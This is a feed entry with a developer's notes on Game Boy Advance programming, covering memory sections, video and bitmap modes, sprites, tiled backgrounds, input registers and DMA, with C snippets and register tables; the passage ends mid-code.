                <entry>
            <title>NOTES // Game Boy Advance Programming</title>
            <link href="https://badd10de.dev//notes/gba-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/gba-programming.html</id>
            <updated>2026-06-16T09:49:17Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="architecture">Architecture</h2>
                    <p>The GBA contains a 16 MHz ARM CPU and has
                    available 96kB of video memory. There is no support
                    for floating point or hardware division operations.
                    The GBA is a little endian machine and expects data
                    alignment to 32 bit boundaries. The CPU uses a 3
                    stage pipeline (Up to 3 instructions are being
                    decoded in parallel).</p>
                    <h2 id="memory-sections">Memory sections</h2>
                    <pre><code>area        start       end         length  port-size  description
System ROM  0000:0000h  0000:3FFFh  16kb    32 bit     BIOS memory. You can execute it, but not read it (i.o.w, touch, don&#39;t look).
EWRAM       0200:0000h  0203:FFFFh  256kb   16 bit     External work RAM. Is available for your code and data. If you&#39;re using a multiboot cable, this is where the downloaded code goes and execution starts (normally execution starts at ROM). Due to the 16bit port, you want this section&#39;s code to be THUMB code.
IWRAM       0300:0000h  0300:7FFFh  32kb    32 bit     This is also available for code and data. The 32-bit bus and the fact that it&#39;s embedded in the CPU make this the fastest memory section. The 32bit bus means that ARM instructions can be loaded at once, so put your ARM code here.
IO RAM      0400:0000h  0400:03FFh  1kb     16 bit     Memory-mapped IO registers. These have nothing to do with the CPU registers you use in assembly so the name can be a bit confusing. Don&#39;t blame me for that. This section is where you control graphics, sound, buttons and other features.
PAL RAM     0500:0000h  0500:03FFh  1kb     16 bit     Memory for two palettes containing 256 entries of 15-bit colors each. The first is for backgrounds, the second for sprites.
VRAM        0600:0000h  0601:7FFFh  96kb    16 bit     Video RAM. This is where the data used for backgrounds and sprites are stored. The interpretation of this data depends on a number of things, including video mode and background and sprite settings.
OAM         0700:0000h  0700:03FFh  1kb     32 bit     Object Attribute Memory. This is where you control the sprites.
PAK ROM     0800:0000h  var         var     16 bit     Game Pak ROM. This is where the game is located and execution starts, except when you&#39;re running from a multiboot cable. The size is variable, but the limit is 32 MB. It&#39;s a 16bit bus, so THUMB code is preferable over ARM code here.
Cart RAM    0E00:0000h  var         var     8 bit      This is where saved data is stored. Cart RAM can be in the form of SRAM, Flash ROM or EEPROM. Programmatically they all do the same thing: store data. The total size is variable, but 64kb is a good indication.</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/hardware.htm#sec-memory</p>
                    <p>When saving to the Cart RAM (SRAM), we probably
                    want to avoid using the first and last bytes, since
                    they can become corrupted when changing cartridge or
                    powering up.</p>
                    <p>Puting code and data in different locations can
                    have a dramatic performance impact or crash the
                    program entirely. Also:</p>
                    <pre><code>Q: How do I put large (&gt; 16 KB) arrays into a GBA program without it crashing?

The linker script included with devkitARM puts arrays and other variables into
IWRAM unless you tell it otherwise. Trouble is IWRAM is only 32 KiB. For arrays
that you don&#39;t plan to modify, use the keyword const, which will instruct the
linker to put the entire array into ROM (or EWRAM for .mb programs). For arrays
that you do plan to modify, put them into EWRAM using a section attribute on the
array&#39;s definition:

    __attribute__((section (&quot;.sbss&quot;))) char foo[8192];
    Puts the variable in EWRAM and initializes it to zero at program start.
    (Initializer values are ignored.)

    __attribute__((section (&quot;.ewram&quot;))) char foo[8192] = {3, 4, /*... */ };
    Puts the variable in EWRAM and initializes it to the given values at program
    start. (This uses space in the binary even if initializer values are not
    given.)

Source: https://forum.gbadev.org/viewtopic.php?t=418</code></pre>
                    <p>Normally we want to put hot code and data into
                    the fastest memory possible (IWRAM in most cases).
                    We can do this with compiler macros, but we should
                    always check that we have enough space available and
                    that the code and data is actually going to the
                    section we wanted. This is a quick one-liner to
                    check where functions and data are located with
                    objdump:</p>
                    <pre><code>arm-none-eabi-objdump -x [file.elf] | sort | less</code></pre>
                    <p>For 16bit data, the VRAM should be as fast as the
                    IWRAM, so if needed we can store 16bit LUTs to reap
                    some performance benefits.</p>
                    <h2 id="video">Video</h2>
                    <p>The screen is 240x160 pixels for a total of 32768
                    colors. Colors are 15 bits
                    <code>xbbbbbgggggrrrrr</code>, with 5 bits for each
                    RGB component (32 shades of red, green an blue or a
                    range of 0–31). The 16th bit (<code>x</code>) is the
                    transparency index, when working with palettes it
                    will mean that the pixel is transparent. The screen
                    refresh rate is of 59.73 Hz. We can use 4 backgroud
                    layers and one sprite layer. We have available 96kb
                    of video memory (0x06000000–0x06017FFF), palette
                    memory (0x05000000–0x050003FF) and OAM memory
                    (0x07000000–0x070003FF).</p>
                    <p>An scanline is composed of the HDraw, where a row
                    of 240 pixels are written to the screen followed by
                    a pause (HBlank). After drawing 160 scanlines
                    (VDraw), there is another pause (VBlank). To avoid
                    glitchy effects, we would want to update the
                    position of sprites during the VBlank pause. The
                    following table shows the timings for the different
                    screen drawing phases:</p>
                    <pre><code>subject   length        cycles
pixel     1             4
HDraw     240px         960
HBlank    68px          272
scanline  Hdraw+Hbl     1232
VDraw     160*scanline  197120
VBlank    68*scanline   83776
total     VDraw+Vbl     280896</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/video.htm</p>
                    <p>Two palettes are available, one for backgrounds
                    (0x05000000–0x050001FF) and one for sprites
                    (0x05000200–0x050003FF). Each palette has 256
                    entries of u16 colors for a total of 512 bytes per
                    palette. There are two different ways of using
                    palettes, the first one is to use the entire palette
                    to for a 256 color range, and the second one is to
                    thave 16 sub-palettes (palette banks) of 16 colors
                    each.</p>
                    <p>We can draw to the screen via bitmaps, tiled
                    backgrounds or sprites. If using bitmap (Like in
                    Mode-3) we can draw pixels to the screen by writing
                    to <code>((vu16*) MEM_VRAM)</code>, but trying to
                    fill the screen with this method is too slow for
                    practical purposes. Normally it is better to use
                    tiled backgrounds, where 8x8 tiles are copied to one
                    part of the video memory and then a tile map
                    containing the indexes of the tiles for the screen
                    is sent to a different region. In tile background
                    modes, we send a maximum of a 30x20 map of numbers
                    each frame. Sprites are 8x8 to 64x64 objects that
                    are meant to be used in conjunction with tiled
                    backgrounds or bitmaps, and they can be transformed
                    independently of each other.</p>
                    <p>Note that the GBA’s screen may require gamma
                    correction to display their colors correctly, since
                    the LCD tends to be quite dark. A simple formula for
                    this is the “affine brightness correction”, which
                    can be applied on each R, G, and B component
                    with:</p>
                    <pre><code>component = component * 3 / 4 + 8</code></pre>
                    <h3 id="display-control-register">Display Control
                    Register</h3>
                    <p>The display control register
                    (<code>DISP_CTRL</code>) located at 0x04000000
                    controls the properties of the screen and selects
                    different video modes.</p>
                    <pre><code>bits  name          description
0-2   Mode          Sets video mode. 0, 1, 2 are tiled modes; 3, 4, 5 are bitmap modes.
3     GB            Is set if cartridge is a GBC game. Read-only.
4     PS            Page select. Modes 4 and 5 can use page flipping for smoother animation. This bit selects the displayed page (and allowing the other one to be drawn on without artifacts).
5     HB            Allows access to OAM in an HBlank. OAM is normally locked in VDraw. Will reduce the amount of sprite pixels rendered per line.
6     OM            Object mapping mode. Tile memory can be seen as a 32x32 matrix of tiles. When sprites are composed of multiple tiles high, this bit tells whether the next row of tiles lies beneath the previous, in correspondence with the matrix structure (2D mapping, OM=0), or right next to it, so that memory is arranged as an array of sprites (1D mapping OM=1). More on this in the sprite chapter.
7     FB            Force a screen blank.
8-B   BG0-BG3, Obj  Enables rendering of the corresponding background and sprites.
D-F   W0-OW         Enables the use of windows 0, 1 and Object window, respectively. Windows can be used to mask out certain areas (like the lamp did in Zelda:LTTP).</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/video.htm</p>
                    <h3 id="display-status-register">Display Status
                    Register</h3>
                    <p>The display status register
                    (<code>DISP_STATUS</code>) located at 0x04000004 can
                    be used to obtain information about the current
                    state of the screen or requesting certain
                    interrupts.</p>
                    <pre><code>bits  name  description
0     VbS   VBlank status, read only. Will be set inside VBlank, clear in VDraw.
1     HbS   HBlank status, read only. Will be set inside HBlank.
2     VcS   VCount trigger status. Set if the current scanline matches the scanline trigger ( DISP_VCOUNT == DISP_STATUS{8-F} )
3     VbI   VBlank interrupt request. If set, an interrupt will be fired at VBlank.
4     HbI   HBlank interrupt request.
5     VcI   VCount interrupt request. Fires interrupt if current scanline matches trigger value.
8-F   VcT   VCount trigger value. If the current scanline is at this value, bit 2 is set and an interrupt is fired if requested.</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/video.htm</p>
                    <h3 id="scanline-counter-register">Scanline Counter
                    Register</h3>
                    <p>The scanline counter register
                    (<code>DISP_VCOUNT</code>) located at 0x04000006
                    stores in the lower bits, the scanline that is being
                    currently processed. Note that the count goes from
                    0-227, since it goes through the VBlank as well
                    (0-159 scanlines draw to the screen wereas
                    160-226).</p>
                    <p>This can be used to implement a locked framerate
                    by waiting for the VBlank before we perform
                    updates:</p>
                    <pre><code>static inline void
wait_vsync() {
    while(DISP_VCOUNT &gt;= 160);
    while(DISP_VCOUNT &lt; 160);
}</code></pre>
                    <p>It is discouraged to use this method, since it is
                    wasting CPU cycles and thus battery life.</p>
                    <h3 id="bitmap-modes-mode-3-4-and-5">Bitmap modes
                    (mode 3, 4 and 5)</h3>
                    <p>If we one of the bitmap and
                    <code>DISPLAY_BG_2</code> we can blit to the screen
                    direcly by putting data on the
                    <code>MEM_VRAM</code>. Here is an example of using a
                    macro for easy acess to the <code>x</code> and
                    <code>y</code> coordinates of the screen on mode
                    3:</p>
                    <pre><code>// The GBA in mode 3 expects rbg15 colors in the VRAM, where each component
// (RGB) have a 0--31 range. For example, pure red would be rgb15(31, 0, 0).
typedef u16 Color;

// We can treat the screen as a HxW matrix. With the following macro we can
// write a pixel to the screen at the (x, y) position using:
//
//     FRAMEBUFFER[y][x] = color;
//
typedef Color Scanline[SCREEN_WIDTH];
#define FRAMEBUFFER ((Scanline*)MEM_VRAM)</code></pre>
                    <p>The difference between the bitmap modes is that
                    they have different width, height, bits per pixel
                    (bbp), and the possibility of page-flipping. Modes 3
                    and 4 have a screen resolution of 240x160, with
                    respective bbp of 16 and 8. Mode 4 supports
                    page-flipping, whereas mode 3 doesn’t. Mode 5 have a
                    160x128 resolution at 16bpp and with page-flipping
                    support. Essentially the size of the bitmap (in
                    bytes) is <code>width * height * bpp/8</code>.</p>
                    <p>In Mode4 the buffer is of 8 bytes per pixel
                    instead of 16. We can’t write the color directly,
                    instead the color is stored in the palette memory at
                    <code>MEM_PAL</code>. Note that in this mode
                    <code>MEM_PAL[0]</code> is the background color.
                    Because the GBA needs to meet memory alignment
                    requirements, we can’t write a u8 into memory,
                    instead we need to read a u16 word, mask and or the
                    corresponding bits and wave the updated u16.</p>
                    <pre><code>static inline void
put_pixel_m4(int x, int y, u8 col_index) {
    int buffer_index = (y * SCREEN_WIDTH + x) / 2;
    u16 *destination = &amp;SCREEN_BUFFER[buffer_index];
    int odd = x &amp; 0x1;
    if(odd) {
        *destination= (*destination &amp; 0xFF) | (col_index &lt;&lt; 8);
    } else {
        *destination= (*destination &amp; ~0xFF) |  col_index;
    }
}</code></pre>
                    <p>Other limitations of bitmap modes, is that they
                    can only use one background layer, they have no
                    hardware scrolling and the bitmap memory overlaps
                    with sprite tiles memory (Starting at 0x06010000)
                    which means only sprite tiles from 512 to 1023 are
                    available in modes 3-5.</p>
                    <p>When talking about page-flipping, the concept is
                    similar to that of double buffering. However, in
                    double buffering, the buffer is copied to the
                    screen, whereas in page-flipping, the “backbuffer”
                    is made the new buffer instead, without copying
                    anything.</p>
                    <p>The second page in Mode 4 for page flipping is
                    located at 0x0600A000. To flip the page, we need to
                    set the proper bit (4) with
                    <code>DISP_CTRL</code>.</p>
                    <h3 id="tiled-modes">Tiled modes</h3>
                    <p>If we want good performance for displaying
                    graphics to the screen, it makes a lot of sense to
                    use the built-in hardware capabilities of the GBA.
                    Sprites and tiled backgrounds make use of the
                    hardware and can be configured in different ways
                    depending on the use case.</p>
                    <p>Tiled backgrounds have sizes between 128x128 and
                    1024x1024 pixels (32x32 and 128x128 tiles
                    respectively). Sprites go from 8x8 to 64x64 pixels,
                    and we can make use of 128 of them.</p>
                    <p>The first step for using these modes is setting
                    up the right parameters in the display register
                    <code>DISP_CTRL</code> to configure the mode, sprite
                    and background behaviour, etc. There are other
                    registers available for further configure each
                    individual background layer (0x04000008 to
                    0x0400000f). Each of the 128 sprites has three
                    attributes for controlling and mapping them,
                    starting at 0x07000000.</p>
                    <p>With background tiles and sprites, we need to
                    distinguish between the “tile data” (the location in
                    memory where each tile’s color information is
                    stored) and the “tile map”, sometimes called
                    “screenblock entries” (indicating which tiles are
                    used in the screen at the moment) with positional
                    information and other attributes (bit depth,
                    horizontal or vertical flipping, palette being used,
                    etc). Sprites and tiled backgrounds can make use of
                    the affine transformation matrix for scaling and
                    rotation.</p>
                    <h4 id="tiles">Tiles</h4>
                    <p>Sprites and tiled backgrounds are composed of
                    tiles. A basic tile is an 8x8 bitmap either at the
                    default 4 bits per pixel (bpp) (16 color / 16
                    palettes / 32 bytes) or 8 bpp (256 colors / 1
                    palette / 64 bytes).</p>
                    <p>To store tiles into the VRAM, each tile is stored
                    as a continuous bit stream. As an example, let’s
                    imagine that each tile is represented by a number.
                    For brevity, each tile will be 2x2.</p>
                    <pre><code>Tiles:

| 0 | 0 | 1 | 1 | 2 | 2 | 3 | 0 |
| 0 | 0 | 1 | 1 | 2 | 2 | 3 | 3 |
| 4 | 4 | 5 | 5 | 6 | 6 | 7 | 7 |
| 4 | 4 | 5 | 5 | 6 | 6 | 7 | 7 |

VRAM:

| 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 2 | 2 | 2 | 2 | 3 | 3 | 3 | 3 | 4 | 4 | 4 | 4 | 5 | 5 | 5 | 5 | 6 | 6 | 6 | 6 | 7 | 7 | 7 | 7 |</code></pre>
                    <p>The tiles are stored in charblocks/tile-blocks.
                    Each charblock is 16kb, thus we can store 6
                    charblocks in the VRAM (96kb). In one charblock we
                    can store 512 tiles at 4 bpp (32x16 tiles) or 256 at
                    8 bpp (32x8 tiles). The 6 charblocks in the VRAM are
                    divided in 4 for their respective backgrounds (0-3)
                    and 2 for sprites (4-5).</p>
                    <p>In terms of palettes, there are two, one for
                    backgrounds (0x05000000) and another for the sprites
                    (0x05000200). Each, contain 256 entries of 15 bit
                    colors.</p>
                    <h4 id="sprites">Sprites</h4>
                    <p>The 3 basic steps for using sprites are:</p>
                    <ol type="1">
                    <li>Loading the graphics/palette to the VRAM</li>
                    <li>Configure OAM attributes</li>
                    <li>Enable objects in <code>DISPLAY_CTRL</code> and
                    set the maping mode.</li>
                    </ol>
                    <p>Sprite tiles may be stored in 2D mode where big
                    sprites are stored directly as a matrix or 1D mode,
                    in which tiles from the sprite are sequential.
                    Programming in 1D mode may be nicer to work with.
                    For example if we have tiles with sprites 1 and
                    2:</p>
                    <pre><code>Sprites 1 and 2:

|1|1|1|
|1|1|1|
|1|1|1|

|2|2|
|2|2|

2D mode:

|1|1|1|2|2|0|0|...
|1|1|1|2|2|0|0|...
|1|1|1|0|0|0|0|...

1D mode:

|1|1|1|1|1|1|1|1|1||2|2|2|2|...</code></pre>
                    <p>The OAM memory is located at 0x07000000, and can
                    store 1024 bytes. The attributes are divided in
                    attributes (<code>OBJ_ATTR_x</code>) and the
                    different elements in the affine matrix
                    (<code>OAM_AFFINA_Px</code>). In memory, the streams
                    for attributes and the affine matrix are
                    interspersed. This means that we have the three
                    attributes for sprite 0, the PA for affine 0, the
                    next 3 attributes for sprite 1, the PB for affine 0,
                    and so on. This means we have space for 128
                    <code>OBJ_ATTR</code> and 32 <code>OBJ_AFFINE</code>
                    parameters.</p>
                    <p>The TONC tutorial access the OAM parameters via
                    aligned structs. Before messing with that, I decided
                    to try using direct access with the following
                    macros. If this ends up being slower I’ll upgrade,
                    but feels like this is simpler than having to deal
                    with structs full of fill holes.</p>
                    <pre><code>// Using macros instead of aligned structs for setting up OAM attributes and
// affine parameters.
#define OBJ_ATTR_0(N)    *((vu16*)(MEM_OAM + 0 + 8 * (N)))
#define OBJ_ATTR_1(N)    *((vu16*)(MEM_OAM + 2 + 8 * (N)))
#define OBJ_ATTR_2(N)    *((vu16*)(MEM_OAM + 4 + 8 * (N)))
#define OBJ_AFFINE_PA(N) *((vs16*)(MEM_OAM + 6 + 8 * 0 + 8 * 4 * (N)))
#define OBJ_AFFINE_PB(N) *((vs16*)(MEM_OAM + 6 + 8 * 1 + 8 * 4 * (N)))
#define OBJ_AFFINE_PC(N) *((vs16*)(MEM_OAM + 6 + 8 * 2 + 8 * 4 * (N)))
#define OBJ_AFFINE_PD(N) *((vs16*)(MEM_OAM + 6 + 8 * 3 + 8 * 4 * (N)))</code></pre>
                    <p>The first <code>OBJ_ATTR_0</code> register sets
                    the y coordinate, type of rendering,
                    blending/effects, color mode and sprite shape.</p>
                    <pre><code>bits name  description
0-7  Y     Y coordinate. Marks the top of the sprite.
8-9  OM    (Affine) object mode. Use to hide the sprite or govern affine mode.
               00. Normal rendering.
               01. Sprite is an affine sprite, using affine matrix specified by attr1{9-D}
               10. Disables rendering (hides the sprite)
               11. Affine sprite using double rendering area. See affine sprites for more.
A-B GM     Gfx mode. Flags for special effects.
               00. Normal rendering.
               01. Enables alpha blending. Covered here.
               10. Object is part of the object window. The sprite itself isn&#39;t rendered, but serves as a mask for bgs and other sprites. (I think, haven&#39;t used it yet)
               11. Forbidden.
C   Mos   Enables mosaic effect. Covered here.
D   CM    Color mode. 16 colors (4bpp) if cleared; 256 colors (8bpp) if set.
E-F Sh    Sprite shape. This and the sprite&#39;s size (attr1{E-F}) determines the sprite&#39;s real size.</code></pre>
                    <p>The first <code>OBJ_ATTR_1</code> register sets
                    the x coordinate, horizontal/vertical flipping and
                    together with <code>OBJ_ATTR_0</code> adjust the
                    size of the sprite.</p>
                    <pre><code>bits  name    description
0-8   X       X coordinate. Marks left of the sprite.
9-D   AID     Affine index. Specifies the OAM_AFF_ENTY this sprite uses. Valid only if the affine flag (attr0{8}) is set.
C-D   HF, VF  Horizontal/vertical flipping flags. Used only if the affine flag (attr0) is clear; otherwise they&#39;re part of the affine index.
E-F   Sz      Sprite size. Kinda. Together with the shape bits (attr0{E-F}) these determine the sprite&#39;s real size.</code></pre>
                    <p>Here is an additional table showing the different
                    size configurations.</p>
                    <pre><code>shape/size  00    01     10     11
00          8x8   16x16  32x32  64x64
01          16x8  32x8   32x16  64x32
10          8x16  8x32   16x32  32x64</code></pre>
                    <p>Finally, <code>OBJ_ATTR_2</code> sets the base
                    tile index, Z priority and palette bank when in
                    16-bit mode.</p>
                    <pre><code>bits  name  description
0-9   TID   Base tile-index of sprite. Note that in bitmap modes this must be 512 or higher.
A-B   Pr    Priority. Higher priorities are drawn first (and therefore can be covered by later sprites and backgrounds). Sprites cover backgrounds of the same priority, and for sprites of the same priority, the higher OBJ_ATTRs are drawn first.
C-F   PB    Palette-bank to use when in 16-color mode. Has no effect if the color mode flag (attr0{C}) is set.</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/regobj.htm</p>
                    <p>Since the OAM can’t be modified during the VDraw
                    period, it is probably better to have a buffer where
                    we update the attributes and affine parameters and
                    copy it during the VBlank to <code>MEM_OEM</code>.
                    This is probably why the TONC tutorial uses structs
                    instead of macros for setting OBJ parameters:</p>
                    <pre><code>OBJ_ATTR obj_buffer[128];
OBJ_AFFINE *const obj_aff_buffer= (OBJ_AFFINE*)obj_buffer;</code></pre>
                    <p>We probably want to hide all sprites on
                    initialization, otherwise they will be rendered at
                    (0, 0) with the same color/tile than the zeroth
                    tile.</p>
                    <h2 id="tiled-backgrounds">Tiled backgrounds</h2>
                    <p>We have 4 backgrounds available that can be
                    individually configured. Their size go from 128x128
                    to 1024x1024 and operate on 8x8 tiles. The tilemaps
                    are used to index the tiles to display. The tiles
                    and tilemaps are stored in the VRAM, which is
                    divided in charblocks and screenblocks, which
                    overlap in memory. For example, at memory 0x06000000
                    is the first charblock and/or up to 8 screenblocks
                    (0-7). Each screenblock is 2048 bytes long, and we
                    can configure which ones to use via registers. It is
                    our responsability to avoid overwriting charblock
                    and screenblock memory. This is the overview for
                    using tilemaps:</p>
                    <ol type="1">
                    <li>Load graphics (tiles into charblocks and palette
                    in palette memory).</li>
                    <li>Load a map in one or more screenblocks.</li>
                    <li>Set <code>DISP_CTRL</code> to a tiled mode and
                    enable the desired background.</li>
                    <li>Set background attributes with the
                    register.</li>
                    </ol>
                    <p>Depending on the mode, backgrounds can be used
                    directly or as affine backgrouds:</p>
                    <pre><code>mode  BG0  BG1  BG2  BG3
0     reg  reg  reg  reg
1     reg  reg  aff  -
2     -    -    aff  aff</code></pre>
                    <p>There are 3 register for each background layer.
                    <code>BG_CTRL_x</code> is the primary register,
                    located at <code>0x04000008 + 2 * x</code> (where x
                    goes from 0 to 3) and is used to set background
                    parameters.</p>
                    <pre><code>bits  name  description
0-1   Pr    Priority. Determines drawing order of backgrounds.
2-3   CBB   Character Base Block. Sets the charblock that serves as the base for character/tile indexing. Values: 0-3.
6     Mos   Mosaic flag. Enables mosaic effect.
7     CM    Color Mode. 16 colors (4bpp) if cleared; 256 colors (8bpp) if set.
8-C   SBB   Screen Base Block. Sets the screenblock that serves as the base for screen-entry/map indexing. Values: 0-31.
D     Wr    Affine Wrapping flag. If set, affine background wrap around at their edges. Has no effect on regular backgrounds as they wrap around by default.
E-F   Sz    Background Size. Regular and affine backgrounds have different sizes available to them.</code></pre>
                    <p>The size bits effect depends on the type of
                    background (regular or affine):</p>
                    <pre><code>Regular:

Sz-flag  (tiles)  (pixels)
00       32x32    256x256
01       64x32    512x256
10       32x64    256x512
11       64x64    512x512

Affine:

Sz-flag  (tiles)  (pixels)
00       16x16    128x128
01       32x32    256x256
10       64x64    512x512
11       128x128  1024x1024</code></pre>
                    <p>The write-only registers
                    <code>BG_H_SCROLL_x</code> and
                    <code>BG_V_SCROLL_x</code> located at
                    <code>0x04000010 + 4 * x</code> and
                    <code>0x04000012 + 4 * x</code> respectively can be
                    used to control the horizontal and vertical
                    displacement. They wrap around, thus they act as the
                    modulo of the map size. These registers set the top
                    left position of the screen from the top left
                    position of the map. Furthermore to scroll the map
                    left we would increase the H displacement and vice
                    versa.</p>
                    <p>The screenblocks data is composed of a number of
                    entries corresponding with each tile in the screen.
                    Each screenblock entry also contains h/v flip
                    information as well as the palette bank to use in
                    4bpp mode:</p>
                    <pre><code>bits  name    description
0-9   TID     Tile-index of the SE.
A-B   HF, VF  Horizontal/vertical flipping flags.
C-F   PB      Palette bank to use when in 16-color mode. Has no effect for 256-color bgs (REG_BGxCNT{6} is set).</code></pre>
                    <p>Each screenblock can have 32x32 screen entries
                    (equivalent to a 256x256 pixel map). For larger map
                    sizes multiple screenblocks will be used, and
                    depending on the size they will be nested in the
                    following way (starting at screenblock index 0):</p>
                    <pre><code>32x32  64x32  32x64  64x64
  0     0 1     0     0 1
                1     2 3</code></pre>
                    <p>To find the screenblock index for a given tile x
                    and tile y position we can use the following
                    function:</p>
                    <pre><code>size_t se_index(size_t tile_x, size_t tile_y, size_t map_width) {
    size_t sbb = ((tile_x &gt;&gt; 5) + (tile_y &gt;&gt; 5) * (map_width &gt;&gt; 5));
    return sbb * 1024 + ((tile_x &amp; 31) + (tile_y &amp; 31) * 32);
}</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/regbg.htm</p>
                    <h2 id="bit-packing">Bit packing</h2>
                    <p>To save memory and speed up loading assets like
                    sprites or background tiles we can use bitpacking,
                    which will group the data into u32 in an efficient
                    way. Particularly useful for 1bpp assets like fonts
                    or simple interface elements, since we can store an
                    8x8 tile into two u32 words. We need to bear in mind
                    that because of the little endian nature of the GBA,
                    we need to pack the bits in both little bit and
                    little byte order.</p>
                    <p>Here is a custom (probably slow) bit unpacking
                    routine that can be used for unpacking 1bpp
                    tiles:</p>
                    <pre><code>u32
unpack_1bb(u8 hex) {
    const u32 conversion_u32[16] = {
        0x00000000, 0x00000001, 0x00000010, 0x00000011,
        0x00000100, 0x00000101, 0x00000110, 0x00000111,
        0x00001000, 0x00001001, 0x00001010, 0x00001011,
        0x00001100, 0x00001101, 0x00001110, 0x00001111,
    };
    u8 low = hex &amp; 0xF;
    u8 high = (hex &gt;&gt; 4) &amp; 0xF;
    return (conversion_u32[high] &lt;&lt; 16) | conversion_u32[low];
}</code></pre>
                    <p>It takes an 8bit hex value to generate an
                    unpacked u32 so it will need to be called in the
                    following way to unpack each row:</p>
                    <pre><code>// Unpack a single tile from memory.
size_t counter = 0;
u32 a = data[i++];
u32 b = data[i++];
tile_mem[counter++] = unpack_1bb((a &gt;&gt; 24) &amp; 0xFF);
tile_mem[counter++] = unpack_1bb((a &gt;&gt; 16) &amp; 0xFF);
tile_mem[counter++] = unpack_1bb((a &gt;&gt; 8) &amp; 0xFF);
tile_mem[counter++] = unpack_1bb((a &amp; 0xFF);
tile_mem[counter++] = unpack_1bb((b &gt;&gt; 24) &amp; 0xFF);
tile_mem[counter++] = unpack_1bb((b &gt;&gt; 16) &amp; 0xFF);
tile_mem[counter++] = unpack_1bb((b &gt;&gt; 8) &amp; 0xFF);
tile_mem[counter++] = unpack_1bb((b &amp; 0xFF);</code></pre>
                    <p>Apparently we can also use a BIOS function called
                    BitUnpack for this purpose but I have yet to test
                    it.</p>
                    <h2 id="input-handling">Input handling</h2>
                    <p>The GBA has access to 10 buttons/keys. We can see
                    which inputs are being used by reading the
                    <code>KEY_INPUTS</code> register at
                    <code>0x04000130</code> bits 0-9. The bits are
                    active when they have a zero value, so a value of 1
                    means that the button/key is unpressed.</p>
                    <pre><code>// Memory address for key input register
#define KEY_INPUTS  *((vu16*) 0x04000130)

// Alias for key pressing bits.
#define KEY_A      (1 &lt;&lt; 0)
#define KEY_B      (1 &lt;&lt; 1)
#define KEY_SELECT (1 &lt;&lt; 2)
#define KEY_START  (1 &lt;&lt; 3)
#define KEY_RIGHT  (1 &lt;&lt; 4)
#define KEY_LEFT   (1 &lt;&lt; 5)
#define KEY_UP     (1 &lt;&lt; 6)
#define KEY_DOWN   (1 &lt;&lt; 7)
#define KEY_R      (1 &lt;&lt; 8)
#define KEY_L      (1 &lt;&lt; 9)

// Check if the given key/button is currently pressed.
#define KEY_PRESSED(key) (~(KEY_INPUTS) &amp; key)</code></pre>
                    <p>We also have access to a different register, the
                    <code>KEY_CTRL</code>. This register can be used for
                    setting and controlling interrupts that will be
                    triggered by button presses:</p>
                    <pre><code>bits  name   description
0-9   keys   keys to check for raising a key interrupt.
E     I      Enables keypad interrupt
F     Op     Boolean operator used for determining whether to raise a key- interrupt or not. If clear, it uses an OR (raise if any of the keys of bits 0-9 are down); if set, it uses an AND (raise if all of those keys are down).</code></pre>
                    <h2 id="direct-memory-access-dma">Direct Memory
                    Access (DMA)</h2>
                    <p>We can use DMA to copy data quickly in our
                    application by taking advantage of the existing
                    hardware for that purpose. When the DMA controller
                    is active, the CPU is halted until the transfer is
                    finished. There are 4 DMA channels of decreasing
                    priority. Channel 0 has the highest priority, used
                    with the internal RAM exclusively. Channels 1 and 2
                    are used for audio to copy data to sound buffers.
                    Channel 3 has the lowest priority and can be used
                    for general purpose memory copies.</p>
                    <p>We can control the DMA with 3 u32 registers. For
                    channel N, we will put the source and destination
                    addresses in <code>DMA_SRC(N)</code> (0x040000B0 +
                    12 * N) and <code>DMA_DST(N)</code> (0x040000B4 + 12
                    * N) respectively. We can set the parameters of the
                    DMA channel with <code>DMA_CTRL(N)</code>
                    (0x040000B8 + 12 * N):</p>
                    <pre><code>bits   name  description
00-0F  N     Number of transfers (Number of CHUNKS, not bytes!).
15-16  DA    Destination adjustment.
                00: increment after each transfer (default)
                01: decrement after each transfer
                10: none; address is fixed
                11: increment the destination during the transfer, and reset it so that repeat DMA will always start at the same destination.
17-18  SA    Source Adjustment. Works just like the two bits for the destination. Note that there is no DMA_SRC_RESET; code 3 for source is forbidden.
19     R     Repeats the copy at each VBlank or HBlank if the DMA timing has been set to those modes.
1A     CS    Chunk Size. Sets DMA to copy by halfword (if clear) or word (if set).
1C-1D  TM    Timing Mode. Specifies when the transfer should start.
                00: start immediately.
                01: start at VBlank.
                10: start at HBlank.
                11: Never used it so far, but here&#39;s how I gather it works. For DMA1 and DMA2 it&#39;ll refill the FIFO when it has been emptied. Count and size are forced to 1 and 32bit, respectively. For DMA3 it will start the copy at the start of each rendering line, but with a 2 scanline delay.
1E     I     Interrupt request. Raise an interrupt when finished.
1F     En    Enable the DMA transfer for this channel.</code></pre>
                    <p>Note that we can’t write to the ROM, for obvious
                    reasons, and we can’t access addresses above
                    0x10000000, so we can only use 28 bits for
                    <code>DMA_SRC</code> and 27 for
                    <code>DMA_DST</code>.</p>
                    <p>If we are performing several copies using the
                    same DMA register, we may want to stop the previous
                    transfer before starting the new one:</p>
                    <pre><code>DMA_CTRL(N) = 0;
DMA_SRC(N) = src_addr;
DMA_DST(N) = dst_addr;
DMA_CTRL(N) = count | attrs;</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/dma.htm</p>
                    <p>It is important to note that the DMA is a
                    separate piece of hardware, and we need to be
                    careful about the scope of the variables we send to
                    it. For example, the following will not work if
                    called from a function:</p>
                    <pre><code>void
init_sprite_pal(size_t starting_index, Color col) {
    Color colors[16] = {
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
    };

    dma_copy(&amp;PAL_BUFFER_SPRITES[starting_index], colors, 16 * sizeof(Color), 3);
}</code></pre>
                    <p>Instead, we need to make the <code>colors</code>
                    array static/global so that the address doesn’t go
                    out of scope or use an address from the main
                    function scope:</p>
                    <pre><code>void
